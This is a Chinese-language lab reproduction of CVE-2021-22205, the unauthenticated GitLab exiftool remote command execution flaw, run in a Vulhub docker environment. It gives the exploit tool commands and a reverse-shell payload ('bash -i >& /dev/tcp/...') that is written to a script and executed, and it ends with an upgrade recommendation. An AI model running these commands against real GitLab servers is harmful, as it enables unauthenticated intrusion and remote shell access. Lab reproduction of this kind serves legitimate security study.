1 漏洞信息
漏洞名称 | Gitlab exiftool远程命令执行漏洞 |
---|---|
漏洞编号 | CVE-2021-22205 |
危害等级 | 高危 |
CVSS评分 | 7.5 |
漏洞类型 | 中间件漏洞 |
漏洞厂商 | GitLab |
漏洞组件 | Gitlab exiftool |
受影响版本 | 11.9 <= GitLab(CE/EE)< 13.8.8 13.9 <= GitLab(CE/EE)< 13.9.6 13.10 <= GitLab(CE/EE)< 13.10.3 |
漏洞概述 | 由于Gitlab某些端点路径无需授权,攻击者可在无需认证的情况下完成图片上传,从而执行任意命令。 |
2 环境搭建
2.1 环境概述
- Linux操作系统(Vulhub)
2.2 搭建过程
加入到漏洞目录下拉取漏洞
cd vulhub/gitlab/CVE-2021-22205
docker-compose up -d
{width=“5.761111111111111in”
height=“0.6458333333333334in”}
访问漏洞urlhttp://192.168.1.136:8080/users/sign_in
{width=“5.759722222222222in”
height=“2.2708333333333335in”}
3 漏洞复现
直接使用工具进行利用,下载地址https://github.com/Al1ex/CVE-2021-22205
CVE-2021-22205.py -h
{width=“5.761805555555555in”
height=“3.7881944444444446in”}
验证下,发现存在漏洞
CVE-2021-22205.py -t http://192.168.1.136:8080 -v true
{width=“5.756944444444445in”
height=“2.298611111111111in”}
创建目录,来判断是否能够执行命令
CVE-2021-22205.py -t http://192.168.1.136:8080 -a true -c "touch /tmp/success-2022-07"
{width=“5.761805555555555in”
height=“1.7493055555555554in”}
可以发现创建成功了
docker ps 查看容器id
docker exec -it 84(容器id) /bin/bash
cd /tmp
ls
{width=“5.761805555555555in”
height=“0.7847222222222222in”}
既然可以创建文件,那么我们可以创建执行反弹shell脚本、并且添加执行权限和运行该脚本的命令。
CVE-2021-22205.py -t http://192.168.1.136:8080 -a true -c "echo 'bash -i >& /dev/tcp/192.168.1.1/2022 0>&1' > /tmp/shell.sh && chmod +x /tmp/shell.sh && /bin/bash /tmp/shell.sh"
{width=“5.759722222222222in”
height=“1.5840277777777778in”}
成功反弹了shell
{width=“5.759027777777778in”
height=“1.5347222222222223in”}
4 修复建议
1、升级Gitlab至最新版本